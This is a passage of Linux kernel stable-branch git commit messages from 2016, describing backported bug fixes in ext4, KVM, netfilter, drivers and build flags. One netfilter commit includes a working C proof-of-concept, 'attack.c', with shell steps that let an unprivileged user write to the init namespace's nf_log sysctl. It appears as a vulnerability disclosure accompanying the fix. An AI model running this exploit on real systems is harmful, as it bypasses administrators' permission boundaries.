    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 4738e9d2a1891cbef76471754e98e35456280e07
Author: Johan Hovold <johan@kernel.org>
Date:   Tue Nov 1 11:38:18 2016 +0100

    mfd: core: Fix device reference leak in mfd_clone_cell
    
    commit 722f191080de641f023feaa7d5648caf377844f5 upstream.
    
    Make sure to drop the reference taken by bus_find_device_by_name()
    before returning from mfd_clone_cell().
    
    Fixes: a9bbba996302 ("mfd: add platform_device sharing support for mfd")
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Lee Jones <lee.jones@linaro.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 27bbc77aa6370720b0f48d863a9db3b387da23ff
Author: Theodore Ts'o <tytso@mit.edu>
Date:   Fri Nov 18 13:00:24 2016 -0500

    ext4: sanity check the block and cluster size at mount time
    
    commit 8cdf3372fe8368f56315e66bea9f35053c418093 upstream.
    
    If the block size or cluster size is insane, reject the mount.  This
    is important for security reasons (although we shouldn't be just
    depending on this check).
    
    Ref: http://www.securityfocus.com/archive/1/539661
    Ref: https://bugzilla.redhat.com/show_bug.cgi?id=1332506
    Reported-by: Borislav Petkov <bp@alien8.de>
    Reported-by: Nikolay Borisov <kernel@kyup.com>
    Signed-off-by: Theodore Ts'o <tytso@mit.edu>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 1899316d2b583b20c0751c1b1bf09333447bea90
Author: Borislav Petkov <bp@suse.de>
Date:   Mon Nov 14 19:41:31 2016 +0100

    kbuild: Steal gcc's pie from the very beginning
    
    commit c6a385539175ebc603da53aafb7753d39089f32e upstream.
    
    So Sebastian turned off the PIE for kernel builds but that was too late
    - Kbuild.include already uses KBUILD_CFLAGS and trying to disable gcc
    options with, say cc-disable-warning, fails:
    
      gcc -D__KERNEL__ -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs
      ...
      -Wno-sign-compare -fno-asynchronous-unwind-tables -Wframe-address -c -x c /dev/null -o .31392.tmp
      /dev/null:1:0: error: code model kernel does not support PIC mode
    
    because that returns an error and we can't disable the warning. For
    example in this case:
    
    KBUILD_CFLAGS   += $(call cc-disable-warning,frame-address,)
    
    which leads to gcc issuing all those warnings again.
    
    So let's turn off PIE/PIC at the earliest possible moment, when we
    declare KBUILD_CFLAGS so that cc-disable-warning picks it up too.
    
    Also, we need the $(call cc-option ...) because -fno-PIE is supported
    since gcc v3.4 and our lowest supported gcc version is 3.2 right now.
    
    Signed-off-by: Borislav Petkov <bp@suse.de>
    Cc: Ben Hutchings <ben@decadent.org.uk>
    Cc: Sebastian Andrzej Siewior <bigeasy@linutronix.de>
    Signed-off-by: Michal Marek <mmarek@suse.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 1cdca2c78b4b100c7beace27f5bb3dd6612ac25f
Author: Sebastian Andrzej Siewior <bigeasy@linutronix.de>
Date:   Fri Nov 4 19:39:39 2016 +0100

    scripts/has-stack-protector: add -fno-PIE
    
    commit 82031ea29e454b574bc6f49a33683a693ca5d907 upstream.
    
    Adding -no-PIE to the fstack protector check. -no-PIE was introduced
    before -fstack-protector so there is no need for a runtime check.
    
    Without it the build stops:
    |Cannot use CONFIG_CC_STACKPROTECTOR_STRONG: -fstack-protector-strong available but compiler is broken
    
    due to -mcmodel=kernel + -fPIE if -fPIE is enabled by default.
    
    Tagging it stable so it is possible to compile recent stable kernels as
    well.
    
    Signed-off-by: Sebastian Andrzej Siewior <bigeasy@linutronix.de>
    Signed-off-by: Michal Marek <mmarek@suse.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit a2729c7d5a6336411ad1ab7a518701e38ef8a44c
Author: Sebastian Andrzej Siewior <bigeasy@linutronix.de>
Date:   Fri Nov 4 19:39:38 2016 +0100

    kbuild: add -fno-PIE
    
    commit 8ae94224c9d72fc4d9aaac93b2d7833cf46d7141 upstream.
    
    Debian started to build the gcc with -fPIE by default so the kernel
    build ends before it starts properly with:
    |kernel/bounds.c:1:0: error: code model kernel does not support PIC mode
    
    Also add to KBUILD_AFLAGS due to:
    
    |gcc -Wp,-MD,arch/x86/entry/vdso/vdso32/.note.o.d … -mfentry -DCC_USING_FENTRY … vdso/vdso32/note.S
    |arch/x86/entry/vdso/vdso32/note.S:1:0: sorry, unimplemented: -mfentry isn’t supported for 32-bit in combination with -fpic
    
    Tagging it stable so it is possible to compile recent stable kernels as
    well.
    
    Signed-off-by: Sebastian Andrzej Siewior <bigeasy@linutronix.de>
    Signed-off-by: Michal Marek <mmarek@suse.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 9b3ae9969e68ca4b19e475869dd425d21973524e
Author: Oliver Hartkopp <socketcan@hartkopp.net>
Date:   Mon Oct 24 21:11:26 2016 +0200

    can: bcm: fix warning in bcm_connect/proc_register
    
    commit deb507f91f1adbf64317ad24ac46c56eeccfb754 upstream.
    
    Andrey Konovalov reported an issue with proc_register in bcm.c.
    As suggested by Cong Wang this patch adds a lock_sock() protection and
    a check for unsuccessful proc_create_data() in bcm_connect().
    
    Reference: http://marc.info/?l=linux-netdev&m=147732648731237
    
    Reported-by: Andrey Konovalov <andreyknvl@google.com>
    Suggested-by: Cong Wang <xiyou.wangcong@gmail.com>
    Signed-off-by: Oliver Hartkopp <socketcan@hartkopp.net>
    Acked-by: Cong Wang <xiyou.wangcong@gmail.com>
    Tested-by: Andrey Konovalov <andreyknvl@google.com>
    Signed-off-by: Marc Kleine-Budde <mkl@pengutronix.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 2cc109fc7bc51a3593924302bd87f393d6b95f06
Author: Ignacio Alvarado <ikalvarado@google.com>
Date:   Fri Nov 4 12:15:55 2016 -0700

    KVM: Disable irq while unregistering user notifier
    
    commit 1650b4ebc99da4c137bfbfc531be4a2405f951dd upstream.
    
    Function user_notifier_unregister should be called only once for each
    registered user notifier.
    
    Function kvm_arch_hardware_disable can be executed from an IPI context
    which could cause a race condition with a VCPU returning to user mode
    and attempting to unregister the notifier.
    
    Signed-off-by: Ignacio Alvarado <ikalvarado@google.com>
    Fixes: 18863bdd60f8 ("KVM: x86 shared msr infrastructure")
    Reviewed-by: Paolo Bonzini <pbonzini@redhat.com>
    Signed-off-by: Radim Krčmář <rkrcmar@redhat.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 1e34a48ab5a87ded69ca6e0e9337c293c865960c
Author: Paolo Bonzini <pbonzini@redhat.com>
Date:   Thu Nov 17 15:55:46 2016 +0100

    KVM: x86: fix missed SRCU usage in kvm_lapic_set_vapic_addr
    
    commit 7301d6abaea926d685832f7e1f0c37dd206b01f4 upstream.
    
    Reported by syzkaller:
    
        [ INFO: suspicious RCU usage. ]
        4.9.0-rc4+ #47 Not tainted
        -------------------------------
        ./include/linux/kvm_host.h:536 suspicious rcu_dereference_check() usage!
    
        stack backtrace:
        CPU: 1 PID: 6679 Comm: syz-executor Not tainted 4.9.0-rc4+ #47
        Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
         ffff880039e2f6d0 ffffffff81c2e46b ffff88003e3a5b40 0000000000000000
         0000000000000001 ffffffff83215600 ffff880039e2f700 ffffffff81334ea9
         ffffc9000730b000 0000000000000004 ffff88003c4f8420 ffff88003d3f8000
        Call Trace:
         [<     inline     >] __dump_stack lib/dump_stack.c:15
         [<ffffffff81c2e46b>] dump_stack+0xb3/0x118 lib/dump_stack.c:51
         [<ffffffff81334ea9>] lockdep_rcu_suspicious+0x139/0x180 kernel/locking/lockdep.c:4445
         [<     inline     >] __kvm_memslots include/linux/kvm_host.h:534
         [<     inline     >] kvm_memslots include/linux/kvm_host.h:541
         [<ffffffff8105d6ae>] kvm_gfn_to_hva_cache_init+0xa1e/0xce0 virt/kvm/kvm_main.c:1941
         [<ffffffff8112685d>] kvm_lapic_set_vapic_addr+0xed/0x140 arch/x86/kvm/lapic.c:2217
    
    Reported-by: Dmitry Vyukov <dvyukov@google.com>
    Fixes: fda4e2e85589191b123d31cdc21fd33ee70f50fd
    Cc: Andrew Honig <ahonig@google.com>
    Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
    Reviewed-by: David Hildenbrand <david@redhat.com>
    Signed-off-by: Radim Krčmář <rkrcmar@redhat.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit bae05436ad7a9b8481352d80108738af69a5988b
Author: Jann Horn <jann@thejh.net>
Date:   Sun Sep 18 21:40:55 2016 +0200

    netfilter: fix namespace handling in nf_log_proc_dostring
    
    commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream.
    
    nf_log_proc_dostring() used current's network namespace instead of the one
    corresponding to the sysctl file the write was performed on. Because the
    permission check happens at open time and the nf_log files in namespaces
    are accessible for the namespace owner, this can be abused by an
    unprivileged user to effectively write to the init namespace's nf_log
    sysctls.
    
    Stash the "struct net *" in extra2 - data and extra1 are already used.
    
    Repro code:
    
    #define _GNU_SOURCE
    #include <stdlib.h>
    #include <sched.h>
    #include <err.h>
    #include <sys/mount.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdio.h>
    
    char child_stack[1000000];
    
    uid_t outer_uid;
    gid_t outer_gid;
    int stolen_fd = -1;
    
    void writefile(char *path, char *buf) {
            int fd = open(path, O_WRONLY);
            if (fd == -1)
                    err(1, "unable to open thing");
            if (write(fd, buf, strlen(buf)) != strlen(buf))
                    err(1, "unable to write thing");
            close(fd);
    }
    
    int child_fn(void *p_) {
            if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
                      NULL))
                    err(1, "mount");
    
            /* Yes, we need to set the maps for the net sysctls to recognize us
             * as namespace root.
             */
            char buf[1000];
            sprintf(buf, "0 %d 1\n", (int)outer_uid);
            writefile("/proc/1/uid_map", buf);
            writefile("/proc/1/setgroups", "deny");
            sprintf(buf, "0 %d 1\n", (int)outer_gid);
            writefile("/proc/1/gid_map", buf);
    
            stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
            if (stolen_fd == -1)
                    err(1, "open nf_log");
            return 0;
    }
    
    int main(void) {
            outer_uid = getuid();
            outer_gid = getgid();
    
            int child = clone(child_fn, child_stack + sizeof(child_stack),
                              CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
                              |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
            if (child == -1)
                    err(1, "clone");
            int status;
            if (wait(&status) != child)
                    err(1, "wait");
            if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
                    errx(1, "child exit status bad");
    
            char *data = "NONE";
            if (write(stolen_fd, data, strlen(data)) != strlen(data))
                    err(1, "write");
            return 0;
    }
    
    Repro:
    
    $ gcc -Wall -o attack attack.c -std=gnu99
    $ cat /proc/sys/net/netfilter/nf_log/2
    nf_log_ipv4
    $ ./attack
    $ cat /proc/sys/net/netfilter/nf_log/2
    NONE
    
    Because this looks like an issue with very low severity, I'm sending it to
    the public list directly.
    
    Signed-off-by: Jann Horn <jann@thejh.net>
    Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 1a13c10fa37dac648f0b822cb567454ef4c1bfd4
Author: Fabio Estevam <fabio.estevam@nxp.com>
Date:   Sat Nov 5 17:45:07 2016 -0200

    mmc: mxs: Initialize the spinlock prior to using it
    
    commit f91346e8b5f46aaf12f1df26e87140584ffd1b3f upstream.
    
    An interrupt may occur right after devm_request_irq() is called and
    prior to the spinlock initialization, leading to a kernel oops,
    as the interrupt handler uses the spinlock.
    
    In order to prevent this problem, move the spinlock initialization
    prior to requesting the interrupts.
    
    Fixes: e4243f13d10e (mmc: mxs-mmc: add mmc host driver for i.MX23/28)
    Signed-off-by: Fabio Estevam <fabio.estevam@nxp.com>
    Reviewed-by: Marek Vasut <marex@denx.de>
    Signed-off-by: Ulf Hansson <ulf.hansson@linaro.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit f9bb2b8439a1915e472dd20d4f78068a3337eb27
Author: Punit Agrawal <punit.agrawal@arm.com>
Date:   Tue Oct 18 17:07:19 2016 +0100

    ACPI / APEI: Fix incorrect return value of ghes_proc()
    
    commit 806487a8fc8f385af75ed261e9ab658fc845e633 upstream.
    
    Although ghes_proc() tests for errors while reading the error status,
    it always return success (0). Fix this by propagating the return
    value.
    
    Fixes: d334a49113a4a33 (ACPI, APEI, Generic Hardware Error Source memory error support)
    Signed-of-by: Punit Agrawal <punit.agrawa.@arm.com>
    Tested-by: Tyler Baicar <tbaicar@codeaurora.org>
    Reviewed-by: Borislav Petkov <bp@suse.de>
    [ rjw: Subject ]
    Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 43aa0aa5757342a668fdff5a171bad631ba564c3
Author: Daniel Mentz <danielmentz@google.com>
Date:   Thu Oct 27 17:46:59 2016 -0700

    lib/genalloc.c: start search from start of chunk
    
    commit 62e931fac45b17c2a42549389879411572f75804 upstream.
    
    gen_pool_alloc_algo() iterates over the chunks of a pool trying to find
    a contiguous block of memory that satisfies the allocation request.
    
    The shortcut
    
            if (size > atomic_read(&chunk->avail))
                    continue;
    
    makes the loop skip over chunks that do not have enough bytes left to
    fulfill the request.  There are two situations, though, where an
    allocation might still fail:
    
    (1) The available memory is not contiguous, i.e.  the request cannot
        be fulfilled due to external fragmentation.
    
    (2) A race condition.  Another thread runs the same code concurrently
        and is quicker to grab the available memory.
    
    In those situations, the loop calls pool->algo() to search the entire
    chunk, and pool->algo() returns some value that is >= end_bit to
    indicate that the search failed.  This return value is then assigned to
    start_bit.  The variables start_bit and end_bit describe the range that
    should be searched, and this range should be reset for every chunk that
    is searched.  Today, the code fails to reset start_bit to 0.  As a
    result, prefixes of subsequent chunks are ignored.  Memory allocations
    might fail even though there is plenty of room left in these prefixes of
    those other chunks.
    
    Fixes: 7f184275aa30 ("lib, Make gen_pool memory allocator lockless")
    Link: http://lkml.kernel.org/r/1477420604-28918-1-git-send-email-danielmentz@google.com
    Signed-off-by: Daniel Mentz <danielmentz@google.com>
    Reviewed-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
    Acked-by: Will Deacon <will.deacon@arm.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 15b6d54a513b5e65f651e8c175ef63b7c0c192cf
Author: Alexander Usyskin <alexander.usyskin@intel.com>
Date:   Mon Oct 31 19:02:39 2016 +0200

    mei: bus: fix received data size check in NFC fixup
    
    commit 582ab27a063a506ccb55fc48afcc325342a2deba upstream.
    
    NFC version reply size checked against only header size, not against
    full message size. That may lead potentially to uninitialized memory access
    in version data.
    
    That leads to warnings when version data is accessed:
    drivers/misc/mei/bus-fixup.c: warning: '*((void *)&ver+11)' may be used uninitialized in this function [-Wuninitialized]:  => 212:2
    
    Reported in
    Build regressions/improvements in v4.9-rc3
    https://lkml.org/lkml/2016/10/30/57
    
    [js] the check is in 3.12 only once
    
    Fixes: 59fcd7c63abf (mei: nfc: Initial nfc implementation)
    Signed-off-by: Alexander Usyskin <alexander.usyskin@intel.com>
    Signed-off-by: Tomas Winkler <tomas.winkler@intel.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 1fd4c5e383c44934691f1d2fb356a8533591fa8e
Author: Baoquan He <bhe@redhat.com>
Date:   Thu Sep 15 16:50:52 2016 +0800

    iommu/amd: Free domain id when free a domain of struct dma_ops_domain
    
    commit c3db901c54466a9c135d1e6e95fec452e8a42666 upstream.
    
    The current code missed freeing domain id when free a domain of
    struct dma_ops_domain.
    
    Signed-off-by: Baoquan He <bhe@redhat.com>
    Fixes: ec487d1a110a ('x86, AMD IOMMU: add domain allocation and deallocation functions')
    Signed-off-by: Joerg Roedel <jroedel@suse.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit e7c0f8d4aa998e9cadd8037cf326d38f22fe639c
Author: Richard Weinberger <richard@nod.at>
Date:   Wed Nov 9 22:52:58 2016 +0100

    drbd: Fix kernel_sendmsg() usage - potential NULL deref
    
    commit d8e9e5e80e882b4f90cba7edf1e6cb7376e52e54 upstream.
    
    Don't pass a size larger than iov_len to kernel_sendmsg().
    Otherwise it will cause a NULL pointer deref when kernel_sendmsg()
    returns with rv < size.
    
    DRBD as external module has been around in the kernel 2.4 days already.
    We used to be compatible to 2.4 and very early 2.6 kernels,
    we used to use
     rv = sock_sendmsg(sock, &msg, iov.iov_len);
    then later changed to
     rv = kernel_sendmsg(sock, &msg, &iov, 1, size);
    when we should have used
     rv = kernel_sendmsg(sock, &msg, &iov, 1, iov.iov_len);
    
    tcp_sendmsg() used to totally ignore the size parameter.
     57be5bd ip: convert tcp_sendmsg() to iov_iter primitives
    changes that, and exposes our long standing error.
    
    Even with this error exposed, to trigger the bug, we would need to have
    an environment (config or otherwise) causing us to not use sendpage()
    for larger transfers, a failing connection, and have it fail "just at the
    right time".  Apparently that was unlikely enough for most, so this went
    unnoticed for years.
    
    Still, it is known to trigger at least some of these,
    and suspected for the others:
    [0] http://lists.linbit.com/pipermail/drbd-user/2016-July/023112.html
    [1] http://lists.linbit.com/pipermail/drbd-dev/2016-March/003362.html
    [2] https://forums.grsecurity.net/viewtopic.php?f=3&t=4546
    [3] https://ubuntuforums.org/showthread.php?t=2336150
    [4] http://e2.howsolveproblem.com/i/1175162/
    
    This should go into 4.9,
    and into all stable branches since and including v4.0,
    which is the first to contain the exposing change.
    
    It is correct for all stable branches older than that as well
    (which contain the DRBD driver; which is 2.6.33 and up).
    
    It requires a small "conflict" resolution for v4.4 and earlier, with v4.5
    we dropped the comment block immediately preceding the kernel_sendmsg().
    
    Fixes: b411b3637fa7 ("The DRBD driver")
    Cc: viro@zeniv.linux.org.uk
    Cc: christoph.lechleitner@iteg.at
    Cc: wolfgang.glas@iteg.at
    Reported-by: Christoph Lechleitner <christoph.lechleitner@iteg.at>
    Tested-by: Christoph Lechleitner <christoph.lechleitner@iteg.at>
    Signed-off-by: Richard Weinberger <richard@nod.at>
    [changed oneliner to be "obvious" without context; more verbose message]
    Signed-off-by: Lars Ellenberg <lars.ellenberg@linbit.com>
    Signed-off-by: Jens Axboe <axboe@fb.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 64839139c65f84f0573cfd38fbfe04b63b978c7b
Author: Felipe Balbi <felipe.balbi@linux.intel.com>
Date:   Tue Nov 1 13:20:22 2016 +0200

    usb: gadget: u_ether: remove interrupt throttling
    
    commit fd9afd3cbe404998d732be6cc798f749597c5114 upstream.
    
    According to Dave Miller "the networking stack has a
    hard requirement that all SKBs which are transmitted
    must have their completion signalled in a fininte
    amount of time. This is because, until the SKB is
    freed by the driver, it holds onto socket,
    netfilter, and other subsystem resources."
    
    In summary, this means that using TX IRQ throttling
    for the networking gadgets is, at least, complex and
    we should avoid it for the time being.
    
    Reported-by: Ville Syrjälä <ville.syrjala@linux.intel.com>
    Tested-by: Ville Syrjälä <ville.syrjala@linux.intel.com>
    Suggested-by: David Miller <davem@davemloft.net>
    Signed-off-by: Felipe Balbi <felipe.balbi@linux.intel.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 0cd002e7684d4170c6a990cdc174fb63648479c0
Author: Paul Fertser <fercerpav@gmail.com>
Date:   Thu Oct 27 17:22:09 2016 +0300

    Revert "staging: nvec: ps2: change serio type to passthrough"
    
    commit 17c1c9ba15b238ef79b51cf40d855c05b58d5934 upstream.
    
    This reverts commit 36b30d6138f4677514aca35ab76c20c1604baaad.
    
    This is necessary to detect paz00 (ac100) touchpad properly as one
    speaking ETPS/2 protocol. Without it X.org's synaptics driver doesn't
    work as the touchpad is detected as an ImPS/2 mouse instead.
    
    Commit ec6184b1c717b8768122e25fe6d312f609cc1bb4 changed the way
    auto-detection is performed on ports marked as pass through and made the
    issue apparent.
    
    A pass through port is an additional PS/2 port used to connect a slave
    device to a master device that is using PS/2 to communicate with the
    host (so slave's PS/2 communication is tunneled over master's PS/2
    link). "Synaptics PS/2 TouchPad Interfacing Guide" describes such a
    setup (PS/2 PASS-THROUGH OPTION section).
    
    Since paz00's embedded controller is not connected to a PS/2 port
    itself, the PS/2 interface it exposes is not a pass-through one.
    
    Signed-off-by: Paul Fertser <fercerpav@gmail.com>
    Acked-by: Marc Dietrich <marvin24@gmx.de>
    Fixes: 36b30d6138f4 ("staging: nvec: ps2: change serio type to passthrough")
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 7b95b08e333e10ef842b02ac4cba0426bd8725d4
Author: Paul Fertser <fercerpav@gmail.com>
Date:   Thu Oct 27 17:22:08 2016 +0300

    drivers: staging: nvec: remove bogus reset command for PS/2 interface
    
    commit d8f8a74d5fece355d2234e1731231d1aebc66b38 upstream.
    
    This command was sent behind serio's back and the answer to it was
    confusing atkbd probe function which lead to the elantech touchpad
    getting detected as a keyboard.
    
    To prevent this from happening just let every party do its part of the
    job.
    
    Signed-off-by: Paul Fertser <fercerpav@gmail.com>
    Acked-by: Marc Dietrich <marvin24@gmx.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 8b4458df0fd4de18cb8232380f0897a08bdb95d4
Author: Arnd Bergmann <arnd@arndb.de>
Date:   Mon Oct 24 17:22:01 2016 +0200

    staging: iio: ad5933: avoid uninitialized variable in error case
    
    commit 34eee70a7b82b09dbda4cb453e0e21d460dae226 upstream.
    
    The ad5933_i2c_read function returns an error code to indicate
    whether it could read data or not. However ad5933_work() ignores
    this return code and just accesses the data unconditionally,
    which gets detected by gcc as a possible bug:
    
    drivers/staging/iio/impedance-analyzer/ad5933.c: In function 'ad5933_work':
    drivers/staging/iio/impedance-analyzer/ad5933.c:649:16: warning: 'status' may be used uninitialized in this function [-Wmaybe-uninitialized]
    
    This adds minimal error handling so we only evaluate the
    data if it was correctly read.
    
    Link: https://patchwork.kernel.org/patch/8110281/
    Signed-off-by: Arnd Bergmann <arnd@arndb.de>
    Acked-by: Lars-Peter Clausen <lars@metafoo.de>
    Signed-off-by: Jonathan Cameron <jic23@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 4175b792f71d35b058c696d8b39d42f858005e6e
Author: Michael Holzheu <holzheu@linux.vnet.ibm.com>
Date:   Tue Oct 25 16:24:28 2016 +0200

    s390/hypfs: Use get_free_page() instead of kmalloc to ensure page alignment
    
    commit 237d6e6884136923b6bd26d5141ebe1d065960c9 upstream.
    
    Since commit d86bd1bece6f ("mm/slub: support left redzone") it is no longer
    guaranteed that kmalloc(PAGE_SIZE) returns page aligned memory.
    
    After the above commit we get an error for diag224 because aligned
    memory is required. This leads to the following user visible error:
    
     # mount none -t s390_hypfs /sys/hypervisor/
     mount: unknown filesystem type 's390_hypfs'
    
     # dmesg | grep hypfs
     hypfs.cccfb8: The hardware system does not provide all functions
                   required by hypfs
     hypfs.7a79f0: Initialization of hypfs failed with rc=-61
    
    Fix this problem and use get_free_page() instead of kmalloc() to get
    correctly aligned memory.
    
    Signed-off-by: Michael Holzheu <holzheu@linux.vnet.ibm.com>
    Signed-off-by: Martin Schwidefsky <schwidefsky@de.ibm.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 03ef87a54e5606bf5aab07fa4f47b19c3cff8501
Author: Andrey Ryabinin <aryabinin@virtuozzo.com>
Date:   Thu Nov 10 10:46:38 2016 -0800

    coredump: fix unfreezable coredumping task
    
    commit 70d78fe7c8b640b5acfad56ad341985b3810998a upstream.
    
    It could be not possible to freeze coredumping task when it waits for
    'core_state->startup' completion, because threads are frozen in
    get_signal() before they got a chance to complete 'core_state->startup'.
    
    Inability to freeze a task during suspend will cause suspend to fail.
    Also CRIU uses cgroup freezer during dump operation.  So with an
    unfreezable task the CRIU dump will fail because it waits for a
    transition from 'FREEZING' to 'FROZEN' state which will never happen.
    
    Use freezer_do_not_count() to tell freezer to ignore coredumping task
    while it waits for core_state->startup completion.
    
    Link: http://lkml.kernel.org/r/1475225434-3753-1-git-send-email-aryabinin@virtuozzo.com
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Acked-by: Pavel Machek <pavel@ucw.cz>
    Acked-by: Oleg Nesterov <oleg@redhat.com>
    Cc: Alexander Viro <viro@zeniv.linux.org.uk>
    Cc: Tejun Heo <tj@kernel.org>
    Cc: "Rafael J. Wysocki" <rjw@rjwysocki.net>
    Cc: Michal Hocko <mhocko@kernel.org>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit f422056e14e52b7e6b6eccea74b5ffb2f888e7c3
Author: Jann Horn <jann@thejh.net>
Date:   Thu Nov 10 10:46:19 2016 -0800

    swapfile: fix memory corruption via malformed swapfile
    
    commit dd111be69114cc867f8e826284559bfbc1c40e37 upstream.
    
    When root activates a swap partition whose header has the wrong
    endianness, nr_badpages elements of badpages are swabbed before
    nr_badpages has been checked, leading to a buffer overrun of up to 8GB.
    
    This normally is not a security issue because it can only be exploited
    by root (more specifically, a process with CAP_SYS_ADMIN or the ability
    to modify a swap file/partition), and such a process can already e.g.
    modify swapped-out memory of any other userspace process on the system.
    
    Link: http://lkml.kernel.org/r/1477949533-2509-1-git-send-email-jann@thejh.net
    Signed-off-by: Jann Horn <jann@thejh.net>
    Acked-by: Kees Cook <keescook@chromium.org>
    Acked-by: Jerome Marchand <jmarchan@redhat.com>
    Acked-by: Johannes Weiner <hannes@cmpxchg.org>
    Cc: "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>
    Cc: Vlastimil Babka <vbabka@suse.cz>
    Cc: Hugh Dickins <hughd@google.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 462a6dac43f454a1baf4b381893ff7db2741beb8
Author: Sean Young <sean@mess.org>
Date:   Thu Nov 10 17:44:49 2016 +0100

    dib0700: fix nec repeat handling
    
    commit ba13e98f2cebd55a3744c5ffaa08f9dca73bf521 upstream.
    
    When receiving a nec repeat, ensure the correct scancode is repeated
    rather than a random value from the stack.  This removes the need for
    the bogus uninitialized_var() and also fixes the warnings:
    
        drivers/media/usb/dvb-usb/dib0700_core.c: In function ‘dib0700_rc_urb_completion’:
        drivers/media/usb/dvb-usb/dib0700_core.c:679: warning: ‘protocol’ may be used uninitialized in this function
    
    [sean addon: So after writing the patch and submitting it, I've bought the
                 hardware on ebay. Without this patch you get random scancodes
                 on nec repeats, which the patch indeed fixes.]
    
    Signed-off-by: Sean Young <sean@mess.org>
    Tested-by: Sean Young <sean@mess.org>
    Signed-off-by: Arnd Bergmann <arnd@arndb.de>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 3b2b619b1de5cbe886c13465a7dca3c8d523e360
Author: murray foster <mrafoster@gmail.com>
Date:   Sun Oct 9 13:28:45 2016 -0700

    ASoC: cs4270: fix DAPM stream name mismatch
    
    commit aa5f920993bda2095952177eea79bc8e58ae6065 upstream.
    
    Mismatching stream names in DAPM route and widget definitions are
    causing compilation errors. Fixing these names allows the cs4270
    driver to compile and function.
    
    [Errors must be at probe time not compile time -- broonie]
    
    Signed-off-by: Murray Foster <mrafoster@gmail.com>
    Acked-by: Paul Handrigan <Paul.Handrigan@cirrus.com>
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit e515e61bcf2e1f9d936c3fc431d884e6c0ccee9a
Author: Sumit Saxena <sumit.saxena@broadcom.com>
Date:   Wed Nov 9 02:59:42 2016 -0800

    scsi: megaraid_sas: fix macro MEGASAS_IS_LOGICAL to avoid regression
    
    commit 5e5ec1759dd663a1d5a2f10930224dd009e500e8 upstream.
    
    This patch will fix regression caused by commit 1e793f6fc0db ("scsi:
    megaraid_sas: Fix data integrity failure for JBOD (passthrough)
    devices").
    
    The problem was that the MEGASAS_IS_LOGICAL macro did not have braces
    and as a result the driver ended up exposing a lot of non-existing SCSI
    devices (all SCSI commands to channels 1,2,3 were returned as
    SUCCESS-DID_OK by driver).
    
    [mkp: clarified patch description]
    
    Fixes: 1e793f6fc0db920400574211c48f9157a37e3945
    Reported-by: Jens Axboe <axboe@kernel.dk>
    Signed-off-by: Kashyap Desai <kashyap.desai@broadcom.com>
    Signed-off-by: Sumit Saxena <sumit.saxena@broadcom.com>
    Tested-by: Sumit Saxena <sumit.saxena@broadcom.com>
    Reviewed-by: Tomas Henzl <thenzl@redhat.com>
    Tested-by: Jens Axboe <axboe@fb.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit b0363263e57199808d17e597df74cbdb28abbe55
Author: Jan Beulich <JBeulich@suse.com>
Date:   Thu Apr 21 00:27:04 2016 -0600

    x86/mm/xen: Suppress hugetlbfs in PV guests
    
    commit 103f6112f253017d7062cd74d17f4a514ed4485c upstream.
    
    Huge pages are not normally available to PV guests. Not suppressing
    hugetlbfs use results in an endless loop of page faults when user mode
    code tries to access a hugetlbfs mapped area (since the hypervisor
    denies such PTEs to be created, but error indications can't be
    propagated out of xen_set_pte_at(), just like for various of its
    siblings), and - once killed in an oops like this:
    
      kernel BUG at .../fs/hugetlbfs/inode.c:428!
